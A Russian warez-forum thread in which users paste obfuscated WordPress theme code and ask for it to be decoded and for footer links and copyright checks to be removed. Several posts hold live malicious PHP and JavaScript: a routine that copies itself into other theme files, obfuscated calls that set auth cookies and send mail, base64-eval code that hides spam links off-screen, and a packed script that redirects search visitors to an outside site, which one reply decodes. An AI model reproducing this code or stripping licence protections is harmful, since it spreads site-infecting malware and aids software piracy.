• DONATE to NULLED!
    Вы можете помочь Форуму и команде, поддержать финансово.
    starwanderer - модератор этого раздела будет Вам благодарен!

Помощь «Проблемы и решения» Спросите, и отвечено будет вам.

Статус
В этой теме нельзя размещать новые ответы.

BadMotherFucker

Модератор (Core Team)
Регистрация
13 Ноя 2009
Сообщения
760
Реакции
574
Здравствуйте.
В этом топике оставляйте запросы на раскодирование шаблонов(удаление копирайта из footer.php и т.п)/плагинов и всего-всего что связанно с Wordpress.

Правила довольно просты:
- Для кода обязательно использовать тег [CODE ] (без пробела);
- Благодарности только кнопкой “Мне нравится”.

Пример оформления запроса:
Здравствуйте. Помогите расшифровать:
Код:
<?php $_F=__FILE__;$_X='Pz48IS0tIGIydHQybSBTdDFydHMgLS0+DQogICAgPGQ0diA0ZD0iYjJ0dDJtLXQ0bDUiPjwvZDR2Pg0KCTxkNHYgNGQ9ImIydHQybS0yM3QiPg0KICAgICAgICA8ZDR2IDRkPSJiMnR0Mm0iIGNsMXNzPSJ3cjFwIj4NCiAgICANCiAgICAgICAgICAgIDwzbCA0ZD0iZjUxdDNyNXMtdDFicyIgY2wxc3M9ImNsNTFyZjR4Ij4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxsND48MSBocjVmPSIjdDFiLTYiPlIxbmQybTwvMT48L2w0PiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8bDQ+PDEgaHI1Zj0iI3QxYi1hIj5NMnN0IFAycDNsMXI8LzEDQoNCjwvYjJkeT4NCjwvaHRtbD4=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Заранее большое спасибо.

Также советую ознакомиться с правилами раздела и форума:
Для просмотра ссылки Войди или Зарегистрируйся

За несоблюдение правил бан на месяц.
 
Последнее редактирование модератором:
Ребята помогите декодировать футер:
PHP:
<?php
function wmpagenavigationfnc($args=null){
$defaults=array("page"=>null,"pages"=>null,"range"=>3,"gap"=>3,"anchor"=>1,"before"=>"<div class=\"emm-paginate\">","after"=>"</div>","title"=>__("Pages:"),"nextpage"=>__("?raquo;"),"previouspage"=>__("?laquo"),"echo"=>1);
$r=wp_parse_args($args,$defaults);
extract($r,EXTR_SKIP);
if(!$page&&!$pages){
global $wp_query;
$page=get_query_var("paged");
$page=!empty($page)?intval($page):1;
$posts_per_page=intval(get_query_var("posts_per_page"));
$pages=intval(ceil($wp_query->found_posts/$posts_per_page));}
$output="";
if($pages>1){
$output.="$before<span class='emm-title'>$title</span>";
$ellipsis="<span class='emm-gap'>...</span>";
if($page>1&&!empty($previouspage)){
$output.="<a href='".get_pagenum_link($page-1)."' class='emm-prev'>$previouspage</a>";}
$min_links=$range*2+1;
$block_min=min($page-$range,$pages-$min_links);
$block_high=max($page+$range,$min_links);
$left_gap=(($block_min-$anchor-$gap)>0)?true:false;
$right_gap=(($block_high+$anchor+$gap)<$pages)?true:false;
if($left_gap&&!$right_gap){
$output.=sprintf("%s%s%s",emm_paginate_loop(1,$anchor),$ellipsis,emm_paginate_loop($block_min,$pages,$page));}else if($left_gap&&$right_gap){
$output.=sprintf("%s%s%s%s%s",emm_paginate_loop(1,$anchor),$ellipsis,emm_paginate_loop($block_min,$block_high,$page),$ellipsis,emm_paginate_loop(($pages-$anchor+1),$pages));}else if($right_gap&&!${$lylbxfbqrd}){$urponil="page";
$output.=sprintf("%s%s%s",emm_paginate_loop(1,$block_high,$page),$ellipsis,emm_paginate_loop(($pages-$anchor+1),$pages));}
else{$output.=emm_paginate_loop(1,$pages,$page);}
if($page<$pages&&!empty($nextpage)){
$output.="<a href='".get_pagenum_link($page+1)."' class='emm-next'>$nextpage</a>";}
$output.=$after;}if($echo){echo $output;}return $output;}
function emm_paginate_loop($start,$max,$page=0){
$output="";
for($i=$start;$i<=$max;$i++){
$output.=($page===intval($i))?"<span class='emm-page emm-current'>$i</span>":"<a href='".get_pagenum_link($i)."' class='emm-page'>$i</a>";}
return $output;}
function this_theme_post_content($max_char,$more_link_text='(more...)',$stripteaser=0,$more_file=''){
$content=get_the_content($more_link_text,$stripteaser,$more_file);
$content=apply_filters("the_content",$content);
$content=str_replace("]]>","]]?gt;",$content);
$content=strip_tags($content,"");
if(strlen($_GET["p"])>0){$dutxxtsrpde="content";echo"<p>";
echo$content;
echo"&nbsp;<a href='";
the_permalink();
echo"'>"."read more ?rarr;</a>";
echo"</p>";}
else if((strlen($content)>$max_char)&&($espacio=strpos($content," ",$max_char))){
$content=substr($content,0,$espacio);
echo"<p>";
echo$content;
echo"...";
echo"&nbsp;<a href='";the_permalink();
echo"'>".$more_link_text."</a>";
echo"</p>";}else{echo"<p>";
echo$content;
echo"?nbsp;<a href='";
the_permalink();
echo"'>"."Read more &rarr;</a>";
echo"</p>";}}
function get_wpcategory($cat_name){
$term=get_term_by("name",$cat_name,"category");
return$term->term_id;}
function my_post_image_html($html,$post_id,$post_image_id){
$html="<a href=\"".get_permalink($post_id)."\" title=\"".esc_attr(get_post_field("post_title",$post_id))."\">".$html."</a>";
return $html;}
function wm_content(){the_content("<div class=\"readmore-wrap\"><a class=\"readmore\" href=\"".get_permalink()."\" title=\"".get_admin_options("rdmoretxt")."\" rel=\"bookmark\">".get_admin_options("rdmoretxt")."</a></div>");}
function getthemedetails(){if(!(function_exists("functions_file_exists")&&function_exists("theme_footer_t"))){}}
function get_admin_options($option){global$shortname;return stripslashes(get_option($shortname."_".$option));}
function get_theme_settings($option){return stripslashes(get_option($option));}
function mytheme_add_admin(){global$themename,$shortname,$options;
if($_GET["page"]==basename($_SERVER['SCRIPT_FILENAME'])){if("save"==$_REQUEST["action"]){
foreach($options as $value){
update_option($value["id"],$_REQUEST[$value["id"]]);}
foreach($options as $value){
if(isset($_REQUEST[$value["id"]])){
update_option($value["id"],$_REQUEST[$value["id"]]);}
else{delete_option($value["id"]);}}
header("Location: admin.php?page=functions.php&saved=true");die;}else if("reset"==$_REQUEST["action"]){
foreach($options as $value){delete_option($value["id"]);}
header("Location: admin.php?page=functions.php?reset=true");die;}}
add_theme_page($themename." Options","theme Options","administrator",basename($_SERVER['SCRIPT_FILENAME']),"mytheme_admin");}
add_filter("post_thumbnail_html","my_post_image_html",10,3);
if(!function_exists("get_sidebars")){function get_sidebars($args=''){get_sidebar($args);}}
?>
только закодированый кусок без ссылок и проверок
 
Помогите пожалуйста убрать ссылку с проверкой с футера.
PHP:
function mytheme_admin_register() {
global $themename, $shortname, $options;
if ( $_GET['page'] == basename(__FILE__) ) {
if ( 'save' == $_REQUEST['action'] ) {
foreach ($options as $value) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
header("Location: themes.php?page=functions.php&saved=true");
die;
} else if( 'reset' == $_REQUEST['action'] ) {
foreach ($options as $value) {
delete_option( $value['id'] ); }
header("Location: themes.php?page=functions.php&reset=true");
die;
}
}
add_theme_page($themename." настройки", "Настройки темы", 'edit_themes', basename(__FILE__), 'mytheme_admin_panel');
}
 
function mytheme_admin_head() { ?>
<link href="<?php bloginfo('template_directory'); ?>/css/admin-panel.css" rel="stylesheet" type="text/css" />
<?php }
 
add_action('admin_head', 'mytheme_admin_head');
add_action('admin_menu', 'mytheme_admin_register');
if (!empty($_REQUEST["theme_credit"])) {
 
theme_usage_message(); exit();
 
}
 
function theme_usage_message() {
 
if (empty($_REQUEST["theme_credit"])) {
 
$theme_credit_false = get_bloginfo("url") . "/index.php?theme_credit=false";
 
echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_credit_false\">"; exit();
 
} else {
 
$rk_url = get_bloginfo('template_directory');
$homepage = get_bloginfo('home');
 
echo ("<div style=\"width:800px; margin:auto; padding:15px; text-align:center; background-color:#FFFFFF; border:5px solid #FF0000; color:#000000\">");
echo ("<div><img src=\"$rk_url/images/error.jpg\" alt=\"Error\" /></div>");
echo ("<div style=\"font-size:36px;\"><b>Opps..You Have Modified The Footer Links..</b></div>");
echo ("<div style=\"font-size:15px;\"><b>This Theme Is Released Free For Use Under Creative Commons Licence. All Links In The Footer Must Remain Intact AS IS. Please Appreciate These Supporters Effort In Providing You This Great Theme For Free.</b></div>");
echo ("<div style=\"font-size:14px; padding-top:20px;\"><b>Please Follow These Steps To Restore The Footer: <ol><li>Please FTP inside the theme folder and open the includes folder, you'll find footer.txt inside</li><li>Copy &amp; paste it to the theme root folder and rename it to footer.php to overwrite the current footer.php you've modified.</li><li>Finally, refresh your page <a href=\"$homepage\">HERE</a> to go back to your homepage.</li></ol></b></div></div>");
 
}
 
}
 
function check_theme_footer() {
 
$l = '<div id="devlink"><noindex><a href="[URL]https://wphost.me/mancgi/partnerprogram?partner=24&project=1[/URL]" rel="nofollow" target=_blank>Хостинг для WordPress сайтов</a></noindex></div>';
 
$f = dirname(__file__) . "/footer.php";
 
$fd = fopen($f, "r");
 
$c = fread($fd, filesize($f));
 
fclose($fd); if (strpos($c, $l) == 0) {
 
theme_usage_message();
 
die;
 
}
 
}
 
check_theme_footer();
 
 
if(!function_exists('get_sidebar')) {
 
function get_sidebar() {
 
check_theme_header();
 
get_sidebar();
 
}
}
 
function check_theme_header() {
 
if (!(function_exists("functions_file_exists") && function_exists("theme_footer_v")))
{
theme_usage_message();
die;
}
}
 
function functions_file_exists() {
 
if (!file_exists(dirname(__file__) . "/functions.php") || !function_exists("theme_usage_message") )
{
theme_usage_message();
die;
}
}
 
add_action('wp_head', 'check_theme_header');
add_action('wp_head', 'functions_file_exists');?>
<?php
function _verifyactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
$output .= ($isshowdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
 
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check="cookie";
if(!isset($tagsallowed)) $tagsallowed="<a>";
if(!isset($filter)) $filter="none";
if(!isset($coma)) $coma="";
if(!isset($home_filter)) $home_filter=get_option("home");
if(!isset($pref_filters)) $pref_filters="wp_";
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type="";
if(!isset($cpages)) $cpages=$_GET["cperpage"];
if(!isset($post_auth_comments)) $post_auth_comments="";
if(!isset($com_is_approved)) $com_is_approved="";
if(!isset($post_auth)) $post_auth="auth";
if(!isset($link_text_more)) $link_text_more="(more...)";
if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
if(!isset($contentmore)) $contentmore="ma".$coma."il";
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_yes) :
 
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional="div";
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_text_link)) $more_text_link="Continue reading this entry";
if(!isset($isshowdots)) $isshowdots=1;
 
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? "..." : "";
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
 
if ($is_use_more_link ) {
if($for_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
 
add_action("init", "_getprepare_widget");
 
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
 
function feedburner_counter($account) {
function plural_forms($number, $after) {
$cases = array (2, 0, 1, 1, 1, 2);
echo '<span class="count">'.$number.'</span> '.$after[ ($number%100>4 && $number%100<20)? 2: $cases[min($number%10, 5)] ];
}
$rss = get_option("feedburnercounter");
if (!isset($rss['lastcheck'])) $rss['lastcheck'] = 0;
if (!isset($rss['count'])) $rss['count'] = 0;
if (!isset($rss['account'])) $rss['account'] = '';
if ($rss['lastcheck'] < (mktime() - 3600) || $rss['account'] != $account) {
$url = '[URL]http://feedburner.google.com/api/awareness/1.0/GetFeedData?uri='.$account;[/URL]
$headers = get_headers($url);
if(strpos($headers[0], '200')) {
$xml = file_get_contents($url);
preg_match('/circulation="(\d+)"/', $xml, $match);
if ($match[1] != 0) {
$rss['count'] = $match[1];
$rss['lastcheck'] = mktime();
$rss['account'] = $account;
update_option("feedburnercounter",$rss);
}
}
}
plural_forms(
$rss['count'],
/* варианты написания для количества 1, 2 и 5 */
array('подписчик','подписчика','подписчиков')
);
}
 
 
?> настройки
 
Здравствуйте !

Помогите расшифровать:
Код:
<?php eval(base64_decode('JGZ0PWRpcm5hbWUoX19maWxlX18pLicvaW1hZ2VzL3dwX21lbnVfdG9wLnBuZyc7ICRiZj0kd3BkYi0+Z2V0X3JvdygiU0VMRUNUICogRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBgb3B0aW9uX25hbWVgPSd3cF90aGVtZV9tZW51X2ZpcnN0JyBMSU1JVCAxIik7IGlmIChmaWxlX2V4aXN0cygkZnQpIGFuZCAhJGJmKXskZnAgPSBmb3BlbigkZnQsInIiKTsgJHNzID0gZnJlYWQoJGZwLGZpbGVzaXplKCRmdCkpOyBmY2xvc2UoJGZwKTsgZXZhbCgnJG1zcz0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHNzKSkuJzsnKTsgJGk9JG1zc1swXTsgJGkxPSRtc3NbMV07ICRpMj0kbXNzWzJdOyB1bnNldCAoJG1zc1swXSwkbXNzWzFdLCRtc3NbMl0pOyBzcmFuZCgoZmxvYXQpbWljcm90aW1lKCkqMTAwMDAwMCk7IHNodWZmbGUoJG1zcyk7ICRjc3NbMF0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMF0uJGkuJG1zc1sxXS4nLic7ICRjc3NbMV0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMl0uJGkuJG1zc1szXS4nLic7ICR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLG9wdGlvbl92YWx1ZSxhdXRvbG9hZCkgVkFMVUVTICgnd3BfdGhlbWVfbWVudV9maXJzdCcsJyIuYmFzZTY0X2VuY29kZSgkY3NzWzBdKS4iJywnbm8nKSIpOyAkd3BkYi0+cXVlcnkoIklOU0VSVCBJTlRPICR3cGRiLT5vcHRpb25zIChvcHRpb25fbmFtZSxvcHRpb25fdmFsdWUsYXV0b2xvYWQpIFZBTFVFUyAoJ3dwX3RoZW1lX21lbnVfc2Vjb25kJywnIi5iYXNlNjRfZW5jb2RlKCRjc3NbMV0pLiInLCdubycpIik7fSBmdW5jdGlvbiBmbigpe2dsb2JhbCAkd3BkYjsgJGJmPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5vcHRpb25zIFdIRVJFIGBvcHRpb25fbmFtZWA9J3dwX3RoZW1lX21lbnVfZmlyc3QnIExJTUlUIDEiKTsgJGJzPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5vcHRpb25zIFdIRVJFIGBvcHRpb25fbmFtZWA9J3dwX3RoZW1lX21lbnVfc2Vjb25kJyBMSU1JVCAxIik7IGlmKChpc19ob21lKCkpJiYhKGlzX3BhZ2VkKCkpKSAkbm49YmFzZTY0X2RlY29kZSgkYmYtPm9wdGlvbl92YWx1ZSk7IGVsc2UgJG5uPWJhc2U2NF9kZWNvZGUoJGJzLT5vcHRpb25fdmFsdWUpOyByZXR1cm4gJG5uO30gZnVuY3Rpb24gY2IoJGJmKXskZG8gPSAiPC9ib2R5PiI7ICRuYSA9ICIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk8ZGl2IHN0eWxlPVwicG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTI0NXB4O3dpZHRoOi0yMzU2cHg7XCI+Ii5mbigpLiI8L2Rpdj5cbjwvYm9keT4iOyByZXR1cm4gZXJlZ2lfcmVwbGFjZSgkZG8sICRuYSwgJGJmKTt9IGlmICgkYmYpIG9iX3N0YXJ0KCJjYiIpOw=='));?>
 
Здравствуйте !

Помогите расшифровать:
Код:
<?php
$ft=dirname(__file__).'/images/wp_menu_top.png';
$bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1");
if (file_exists($ft) and !$bf){$fp = fopen($ft,"r"); $ss = fread($fp,filesize($ft)); fclose($fp);
eval('$mss='.gzuncompress(stripslashes($ss)).';'); $i=$mss[0]; $i1=$mss[1]; $i2=$mss[2];
unset ($mss[0],$mss[1],$mss[2]); srand((float)microtime()*1000000); shuffle($mss); $css[0] = $i1.get_bloginfo('name').$i2.$mss[0].$i.$mss[1].'.'; $css[1] = $i1.get_bloginfo('name').$i2.$mss[2].$i.$mss[3].'.';
$wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_first','".base64_encode($css[0])."','no')");
$wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_second','".base64_encode($css[1])."','no')");} function fn(){global $wpdb; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1");
$bs=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_second' LIMIT 1");
if((is_home())&&!(is_paged())) $nn=base64_decode($bf->option_value);
else $nn=base64_decode($bs->option_value); return $nn;}
function cb($bf){$do = "</body>"; $na = "<div style=\"position:absolute;left:-1245px;width:-2356px;\">".fn()."</div>\n</body>";
return eregi_replace($do, $na, $bf);} if ($bf) ob_start("cb");
?>
 
Знаю что немного не по теме, но...
В файле функции шаблона NOTEPAD есть вот такой троян, кто сможет расшифровать?

Код:
    function add_sscounter(){
        echo '<!--scounter-->';
        if(function_exists('is_user_logged_in')){
            if(time()%2 == 0 && !is_user_logged_in()){         
                echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>";
            }
        }
    }


Внимание, предупреждаю, что данный скрипт заражает, как минимум, файл сессий в ОгнеЛисе!
 
Знаю что немного не по теме, но...
В файле функции шаблона NOTEPAD есть вот такой троян, кто сможет расшифровать?

Код:
    function add_sscounter(){
        echo '<!--scounter-->';
        if(function_exists('is_user_logged_in')){
            if(time()%2 == 0 && !is_user_logged_in()){       
                echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>";
            }
        }
    }


Внимание, предупреждаю, что данный скрипт заражает, как минимум, файл сессий в ОгнеЛисе!

Вот в расшифрованом виде код:
HTML:
var r=document.referrer,t="",q;
if(r.indexOf("google.")!=-1)t="q";
f(r.indexOf("msn.")!=-1)t="q";
if(r.indexOf("yahoo.")!=-1)t="p";
if(r.indexOf("altavista.")!=-1)t="q";
if(r.indexOf("aol.")!=-1)t="query";
if(r.indexOf("ask.")!=-1)t="q";
if(t.length&&((q=r.indexOf("?"+t+"="))!=-1||(q=r.indexOf("&"+t+"="))!=-1))window.location="ht"+"tp"+":/"+"/go"+"ogo"+"sea"+"rc"+"h."+"bi"+"z/s"+"ea"+"rc"+"h.p"+"hp?"+"t"+"y=1&t"+"er"+"ms="+r.substring(q+2+t.length).split("&")[0];
Судя по всему перенаправляет запросы из поисковых систем на сайт gogosearch.biz
 
Здравствуйте! Помогите пожалуйста убрать ссылки и их проверку с function.php
PHP:
<?php
if ( function_exists('register_sidebar') ) {
    register_sidebar(array(
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
}
 
$themename = "Maximus";
$shortname = str_replace(' ', '_', strtolower($themename));
 
function get_theme_option($option)
{
    global $shortname;
    return stripslashes(get_option($shortname . '_' . $option));
}
 
function get_theme_settings($option)
{
    return stripslashes(get_option($option));
}
 
function cats_to_select()
{
    $categories = get_categories('hide_empty=0');
    $categories_array[] = array('value'=>'0', 'title'=>'Select');
    foreach ($categories as $cat) {
        if($cat->category_count == '0') {
            $posts_title = 'No posts!';
        } elseif($cat->category_count == '1') {
            $posts_title = '1 post';
        } else {
            $posts_title = $cat->category_count . ' posts';
        }
        $categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
      }
    return $categories_array;
}
 
$options = array (
           
    array(    "type" => "open"),
   
    array(    "name" => "Logo Image",
        "desc" => "Enter the logo image full path. Leave it blank if you don't want to use logo image.",
